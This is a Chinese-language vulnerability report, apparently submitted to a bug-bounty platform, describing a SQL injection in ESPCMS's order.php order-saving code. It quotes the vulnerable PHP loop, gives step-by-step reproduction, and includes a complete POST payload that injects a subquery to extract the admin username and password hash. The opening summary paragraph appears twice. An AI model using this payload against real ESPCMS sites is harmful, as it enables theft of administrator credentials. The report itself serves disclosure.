### 简要描述: 刚刚看了 espcms的官网 发现2014-09-16 16:58:17更新了,下了份看下,发现这上面的几个漏洞完全没修复啊..上次提交了个漏洞只给了5rank..敢给多点么.这次和上次那个相似,怕你们只修复一处,这处也提交下。 ### 详细说明: 在order.php in_ordersave中 365-367行附近 ``` foreach ($did as $key => $value) { $value = intval($value); $oprice[$key] = floatval($oprice[$key]); $bprice[$key] = floatval($bprice[$key]); $countprice[$key] = floatval($countprice[$key]); $amount[$key] = intval($amount[$key]); if ($key == $arraycount) { $db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$oprice[$key],$bprice[$key],$countprice[$key],$amount[$key],1)"; } else { $db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$oprice[$key],$bprice[$key],$countprice[$key],$amount[$key],1),"; } } ``` 这个 $tsn 和 $did $ptitle 都是可控的变量 就是等于 $_POST[XXX] 看这个 $tsn 如果不是数组会怎么样?取值就会变成 $tsn{x}的方式 所以我们可以利用这个来达到绕过转义的限制 来达到注入的目的。 $cookiceprice = $this->fun->eccode(md5("$productmoney|$discount_productmoney"), 'ENCODE', db_pscode); if ($uncartid && is_array($uncartid) && !empty($ordersncode) &&...
### 简要描述: 刚刚看了 espcms的官网 发现2014-09-16 16:58:17更新了,下了份看下,发现这上面的几个漏洞完全没修复啊..上次提交了个漏洞只给了5rank..敢给多点么.这次和上次那个相似,怕你们只修复一处,这处也提交下。 ### 详细说明: 在order.php in_ordersave中 365-367行附近 ``` foreach ($did as $key => $value) { $value = intval($value); $oprice[$key] = floatval($oprice[$key]); $bprice[$key] = floatval($bprice[$key]); $countprice[$key] = floatval($countprice[$key]); $amount[$key] = intval($amount[$key]); if ($key == $arraycount) { $db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$oprice[$key],$bprice[$key],$countprice[$key],$amount[$key],1)"; } else { $db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$oprice[$key],$bprice[$key],$countprice[$key],$amount[$key],1),"; } } ``` 这个 $tsn 和 $did $ptitle 都是可控的变量 就是等于 $_POST[XXX] 看这个 $tsn 如果不是数组会怎么样?取值就会变成 $tsn{x}的方式 所以我们可以利用这个来达到绕过转义的限制 来达到注入的目的。 $cookiceprice = $this->fun->eccode(md5("$productmoney|$discount_productmoney"), 'ENCODE', db_pscode); if ($uncartid && is_array($uncartid) && !empty($ordersncode) && $cookiceprice == $ordersncode) { ``` $cartid = $this->fun->eccode($this->fun->accept('ecisp_order_list', 'C'), 'DECODE', db_pscode); $cartid = stripslashes(htmlspecialchars_decode($cartid)); $uncartid = !empty($cartid) ? unserialize($cartid) : 0; ``` 进入流程需要上面的条件。uncartid 是购物车列表里面的。后面的几个验证也是的。 我们只需要在【产品展示】->找一个产品然后【我要购买】就可以加入购物车里面了。 然后点【下一步(结算)】记住总金额。 index.php?ac=order&at=ordersave productmoney和discount_productmoney替换成产品的金额。 productmoney=15000&discount_productmoney=15000&tsn=\&userid=4&did[x]=1&amount=1&ptitle[x]=,(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1,1,1,1)#&email=xxx@qq.com&bprice=1&countprice=1&opid=1&osid=1 uid换成自己的 uid怎么获得 提交订单的页面 右键查看源码 <input type="hidden" name="userid" value="4"/> 即可 ### 漏洞证明: [<img src="https://images.seebug.org/upload/201409/172038368edb2bd3747ee0b3efbfba03bccb77e6.png" alt="QQ截图20140917203033.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/172038368edb2bd3747ee0b3efbfba03bccb77e6.png) [<img src="https://images.seebug.org/upload/201409/1720385108486a8a0e5ffbb08a9b09b59250b70b.png" alt="QQ截图20140917203009.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/1720385108486a8a0e5ffbb08a9b09b59250b70b.png) [<img src="https://images.seebug.org/upload/201409/17203904a8195e086def4a03d5191a827d255efc.png" alt="QQ截图20140917203103.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/17203904a8195e086def4a03d5191a827d255efc.png) [<img src="https://images.seebug.org/upload/201409/1720391461a18df82cf57e864f0f32265c8dd653.png" alt="QQ截图20140917203112.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201409/1720391461a18df82cf57e864f0f32265c8dd653.png)